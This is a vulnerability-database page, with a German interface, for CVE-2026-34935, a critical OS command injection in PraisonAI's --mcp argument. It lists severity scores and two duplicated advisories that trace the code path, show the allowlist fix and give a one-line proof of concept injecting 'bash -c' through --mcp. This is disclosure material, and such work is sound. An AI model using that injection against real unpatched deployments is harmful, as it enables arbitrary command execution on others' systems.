CVE-2026-34935

criticalPriorität · verfolgen · 0EPSS 0.008 · 57. PerzentilEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.82% (57th) EPSS
CVSS 9.8 · critical
Is it mine?
3 products
Prüfe deine Angriffsfläche
Who says so?
4 sources
cnnvd · enisa_euvd · osv · nvd

EPSS · bewertet 2026-10-27

PraisonAI is a multi-agent teams system. From version 4.5.15 to before version 4.5.69, the --mcp CLI argument is passed directly to shlex.split() and forwarded through the call chain to anyio.open_process() with no validation, allowlist check, or sanitization at any hop, allowing arbitrary OS command execution as the process user. This issue has been patched in version 4.5.69.

01

cvss

Technischer Schweregrad, 0–10. Eine Zeile je Quelle.

9.8
010

Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen

v3.19.8criticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Hsecondary · ENISA EU
v3.19.8criticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Hsecondary · security-advisories@github.comAusnutzbarkeit 3.9 · Auswirkung 5.9
v3.19.8criticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Hsecondary · OSV
v3.19criticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:Usecondary · CVSS-BT (t0sche)
02

SSVC

Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.

Exploitation: poc · Automatable: yes · Technical Impact: totalcoordinatorcisa_ssvcUS
03

schwächen

Die CWE-Schwächeklassen, zu denen dies gehört.

04

betroffene Produkte (3)

Betroffene Produkte und Versionsbereiche.

05

Advisories (2)

Hersteller- und Ökosystem-Meldungen dazu.

  • GHSA-9gm9-c8mq-vq7mPraisonAI: OS Command Injection in MCPHandler.parse_mcp_command()2026-04-01ghsa · osvUS

    ### Summary The `--mcp` CLI argument is passed directly to `shlex.split()` and forwarded through the call chain to `anyio.open_process()` with no validation, allowlist check, or sanitization at any hop, allowing arbitrary OS command execution as the process user. ### Details `cli/features/mcp.py:61` (source) -> `praisonaiagents/mcp/mcp.py:345` (hop) -> `mcp/client/stdio/__init__.py:253` (sink) ```python # source parts = shlex.split(command) # hop cmd, args, env = self.parse_mcp_command(command, env_vars) self.server_params = StdioServerParameters(command=cmd, args=arguments) # sink process = await anyio.open_process([command, *args]) ``` Fixed in commit `47bff65413beaa3c21bf633c1fae4e684348368c` (v4.5.69) by introducing a command allowlist: ```python ALLOWED_COMMANDS = {"npx", "uvx", "node", "python"} if cmd not in ALLOWED_COMMANDS: raise ValueError(f"Disallowed command: {cmd}") ``` ### PoC ```python # tested on: praisonai==4.5.48 # install: pip install praisonai==4.5.48 # run: praisonai --mcp "bash -c 'id > /tmp/pwned'" # verify: cat /tmp/pwned # expected output: uid=1000(...) gid=1000(...) groups=1000(...) ``` ### Impact Any deployment where the `--mcp` argument is influenced by untrusted input is exposed to full OS command execution as the process user. No authentication is required.

  • PYSEC-2026-471PraisonAI: OS Command Injection in MCPHandler.parse_mcp_command()2026-06-29vendor · osvUS

    ### Summary The `--mcp` CLI argument is passed directly to `shlex.split()` and forwarded through the call chain to `anyio.open_process()` with no validation, allowlist check, or sanitization at any hop, allowing arbitrary OS command execution as the process user. ### Details `cli/features/mcp.py:61` (source) -> `praisonaiagents/mcp/mcp.py:345` (hop) -> `mcp/client/stdio/__init__.py:253` (sink) ```python # source parts = shlex.split(command) # hop cmd, args, env = self.parse_mcp_command(command, env_vars) self.server_params = StdioServerParameters(command=cmd, args=arguments) # sink process = await anyio.open_process([command, *args]) ``` Fixed in commit `47bff65413beaa3c21bf633c1fae4e684348368c` (v4.5.69) by introducing a command allowlist: ```python ALLOWED_COMMANDS = {"npx", "uvx", "node", "python"} if cmd not in ALLOWED_COMMANDS: raise ValueError(f"Disallowed command: {cmd}") ``` ### PoC ```python # tested on: praisonai==4.5.48 # install: pip install praisonai==4.5.48 # run: praisonai --mcp "bash -c 'id > /tmp/pwned'" # verify: cat /tmp/pwned # expected output: uid=1000(...) gid=1000(...) groups=1000(...) ``` ### Impact Any deployment where the `--mcp` argument is influenced by untrusted input is exposed to full OS command execution as the process user. No authentication is required.

06

auch bekannt als (6)

Weitere Namen und Kennungen dieser Entität.

07

quellen

Welche Quellen diesen Datensatz belegen und wann.

veröffentlicht 2026-04-03geändert 2026-07-24
08

Referenzen (7)

Externe Belege — Patches, Meldungen, Analysen.

scry

Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.

Kostenloser Scan